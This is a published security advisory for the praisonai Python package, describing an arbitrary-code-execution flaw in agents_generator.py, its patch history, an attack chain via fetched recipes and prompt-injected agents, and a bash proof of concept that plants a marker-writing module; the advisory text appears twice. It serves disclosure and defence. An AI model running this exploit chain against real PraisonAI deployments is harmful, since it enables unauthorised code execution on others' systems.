PYSEC-2026-2905
See a problem?- Import Source
- https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-2905.yaml
- JSON Data
- https://api.osv.dev/v1/vulns/PYSEC-2026-2905
- Aliases
-
- CVE-2026-47398
- GHSA-78r8-wwqv-r299
- Published
- 2026-07-13T15:35:21.380441Z
- Modified
- 2026-07-13T16:32:34.616924115Z
- Severity
-
- 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
- Summary
- PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
- Details
-
<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.execmodule</code> in <code>agentsgenerator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAIALLOWLOCALTOOLS</code> env-var gate to the <code>tooloverride.py</code> sinks. However, <strong>two additional <code>spec.loader.execmodule</code> call sites</strong> in <code>praisonai/agentsgenerator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>
CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in toolresolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to toolresolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tooloverride.py This finding | — | unfixed | Missed sinks in agentsgenerator.py
<p>Every prior patch addressed a subset of <code>execmodule</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agentsgenerator.py (master HEAD; v4.6.37)
336 def loadtoolsfrommodule(self, modulepath): # ... 349 spec = importlib.util.specfromfilelocation("toolsmodule", modulepath) 350 module = importlib.util.modulefromspec(spec) 351 spec.loader.execmodule(module) # ← NO gate
372 def loadtoolsfrommoduleclass(self, modulepath): # ... (same pattern — specfromfilelocation → execmodule, no gate) </code></pre> <p>Neither function checks <code>PRAISONAIALLOWLOCALTOOLS</code>. Neither validates <code>modulepath</code> against an allowlist. The <code>modulepath</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allowanygithub=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - modulepath: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.loadtoolsfrommodule("./evil.py") │ ▼ agentsgenerator.py:349 spec = specfromfilelocation("toolsmodule", "./evil.py") agentsgenerator.py:351 spec.loader.execmodule(module) ← RCE </code></pre> <p>No <code>PRAISONAIALLOWLOCALTOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash
Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT
1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonaiagentsgenpwn{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF
2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agentsgenerator execmodule bypass" roles: pocagent: role: PoC goal: Trigger loadtoolsfrommodule backstory: n/a tools: - evil.py YAMLEOF
3. Run
cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agentfile='agents.yaml') ai.main() except Exception: pass # downstream failure expected; execmodule already fired "
4. Verify
MARKER=$(ls /tmp/praisonaiagentsgenpwn*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allowanygithub=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agentsgenerator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAIALLOWLOCALTOOLS</code> env-var gate used in <code>toolresolver.py</code> and <code>api/call.py</code> to both call sites in <code>agentsgenerator.py</code>:</p> <pre><code class="language-python">import os
def loadtoolsfrommodule(self, modulepath): if os.environ.get("PRAISONAIALLOWLOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...
def loadtoolsfrommoduleclass(self, modulepath): if os.environ.get("PRAISONAIALLOWLOCALTOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated
spec.loader.exec_moduleinagents_generator.py(v4.6.32 chokepoint refactor bypass)TL;DR
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the
PRAISONAI_ALLOW_LOCAL_TOOLSenv-var gate to thetool_override.pysinks. However, two additionalspec.loader.exec_modulecall sites inpraisonai/agents_generator.pywere missed and remain completely unguarded on currentmaster(v4.6.37). Both functions accept amodule_pathparameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.Patch lineage
| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD
tools.pyauto-load intool_resolver.py| | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added totool_resolver.py+api/call.py| | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink intemplates/tool_override.py| | This finding | — | unfixed | Missed sinks inagents_generator.py|Every prior patch addressed a subset of
exec_modulecall sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.Vulnerable code
# praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)Neither function checks
PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validatesmodule_pathagainst an allowlist. Themodule_pathvalue originates from YAML agent configuration (agents.yaml) tool definitions, which can be:- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow_any_github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCENo
PRAISONAI_ALLOW_LOCAL_TOOLScheck. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.PoC
#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fiImpact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an
agents.yamlor colocate a.pyfile achieves code execution as the service account.Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and
allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing
agents_generator.pywith these functions — at minimum>= 2.0.0, <= 4.6.37(currentmasterHEAD).Suggested fix
Apply the same
PRAISONAI_ALLOW_LOCAL_TOOLSenv-var gate used intool_resolver.pyandapi/call.pyto both call sites inagents_generator.py:import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...Additionally, validate
module_pathagainst a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.Credit
Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com/)
- References
Affected packages
PyPI / praisonai
Package
- Name
- praisonai
- View open source insights on deps.dev
- Purl
- pkg:pypi/praisonai
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0Unknown introduced version / All previous versions are affectedFixed4.6.40